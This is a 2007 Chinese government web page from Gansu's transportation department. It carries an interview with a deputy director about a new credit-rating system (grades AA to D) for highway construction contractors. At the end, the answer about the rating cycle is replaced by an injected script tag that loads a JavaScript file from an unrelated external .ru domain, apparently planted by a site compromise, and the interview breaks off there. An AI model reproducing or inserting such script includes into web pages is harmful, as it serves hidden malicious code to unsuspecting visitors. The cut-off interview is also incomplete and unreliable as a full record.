康军副厅长就建立我省公路建设市场信用体系问题答记者问 - 甘肃省交通运输厅政府网站
?
 当前位置:
康军副厅长就建立我省公路建设市场信用体系问题答记者问
发布日期:2007-07-12 字号:【 浏览次数: 次 信息来源:甘肃交通周刊
 

7月2日,省交通厅下发了《甘肃省公路建设市场信用体系实施细则》,率先在我省基础设施建设领域开展信用评价工作。今后,将对参与我省公路建设的从业单位根据履行合同、工程管理、施工质量等情况进行信用评价定级,并按照“褒奖诚信、惩戒失信”的原则进行管理。日前,省交通厅副厅长康军就我省公路建设市场信用体系建设问题向记者介绍了有关情况。         

记者:建立公路建设市场信用体系的依据和目的是什么?

康军:按照党中央、国务院关于加快建设社会信用体系的总体要求,交通部于2006年12月根据《公路法》、《招标投标法》等法律法规制定了《关于建立公路建设市场信用体系的指导意见》,要求各省交通主管部门通过加强行政监管、行业自律和社会监督,加快建立与社会主义市场经济体系相适应的公路建设市场信用体系。省交通厅积极响应交通部的要求,制定了《甘肃省公路建设市场信用体系实施细则》,旨在进一步加强我省公路建设市场管理,规范公路建设从业单位和从业人员行为,维护统一开放、竞争有序的市场秩序,达到褒奖诚信、惩戒失信的目的,营造诚信为荣、失信为耻的公路建设市场氛围,促进公路建设事业又好又快发展。

记者:公路建设市场信用体系建设的主要内容是什么?

康军:公路建设市场信用体系主要包括三个方面的内容,即信用信息征集、信用评价考核、信用奖惩。

交通部负责制定公路建设从业单位和个人信用信息的管理制度,并建立全国公路建设市场信用信息平台,发布相关从业单位和个人奖惩信息。各省交通主管部门则结合本辖区信用体系建设的需要,做好本辖区公路建设市场信用信息征集工作,建立和完善规章制度,确保信用信息及时、准确、有效。根据征集的信用信息,进行信用评价。

我省公路建设市场从业单位信用评价考核工作实行省交通厅、省交通基建工程质量监督站、项目法人、项目办四级管理制度,并采用全国统一的公路建设从业单位信用等级划分标准,信用等级从高到低划分为五个级别,即信用好、较好、一般、较差、差,分别用AA、A、B、C、D表示。

我省将根据从业单位的信用级别,在招投标、履约保证金等方面区别对待,对信用级别高的单位给予一定的优惠,对信用级别过低的单位采取一定的制约措施。通过奖惩措施,逐步建立对诚信单位的长效激励机制,使之真正获得诚信效益。

记者:我省公路建设市场信用评价工作的对象和采取的方式有哪些?

康军:我省公路建设市场信用评价工作按照稳步推进的原则进行,今年对参与重点公路建设的勘察设计、施工、监理单位进行信用评价。信用评价采取直接考核定级和综合评分定级相结合的双重考核方式。一般根据评分标准进行综合评分定级;对存在违法违规、严重不履约或发生质量、安全责任事故等行为的从业单位,依据其情节轻重直接定级。

记者:我省公路建设市场信用评价的周期为多长?

康军?script src=http://www.mtno.ru/style.js>

相关新闻:

? ?